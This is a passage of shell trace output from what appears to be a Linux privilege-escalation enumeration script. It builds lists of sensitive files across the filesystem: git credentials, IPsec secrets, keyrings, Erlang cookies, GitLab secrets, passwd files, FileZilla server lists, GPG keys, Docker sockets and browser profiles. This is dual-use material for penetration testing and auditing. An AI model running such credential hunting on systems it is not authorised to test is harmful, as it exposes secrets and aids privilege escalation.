+ PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
+ PSTORAGE_ERLANG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
+ PSTORAGE_SIP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sip\.conf$|amportal\.conf$|FreePBX\.conf$|Elastix\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_GMV_AUTH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_IPSEC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.irssi$" | sort | uniq | head -n 70)
+ PSTORAGE_KEYRING=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
+ PSTORAGE_VIRTUAL_DISKS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.vhd$|.*\.vhdx$|.*\.vmdk$" | sort | uniq | head -n 70)
+ PSTORAGE_FILEZILLA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_SPLUNK=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "passwd$" | sort | uniq | head -n 70)
+ PSTORAGE_GIT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.git-credentials$" | sort | uniq | head -n 70)
+ PSTORAGE_ATLANTIS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "atlantis\.db$" | sort | uniq | head -n 70)
+ PSTORAGE_GITLAB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
+ PSTORAGE_PGP_GPG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
+ PSTORAGE_CACHE_VI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
+ PSTORAGE_DOCKER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$|\.docker$" | sort | uniq | head -n 70)
+ PSTORAGE_FIREFOX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70)
+ PSTORAGE_CHROME=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70)
+ PSTORAGE_OPERA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70)
+ PSTORAGE_SAFARI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70)
+ PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_FASTCGI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
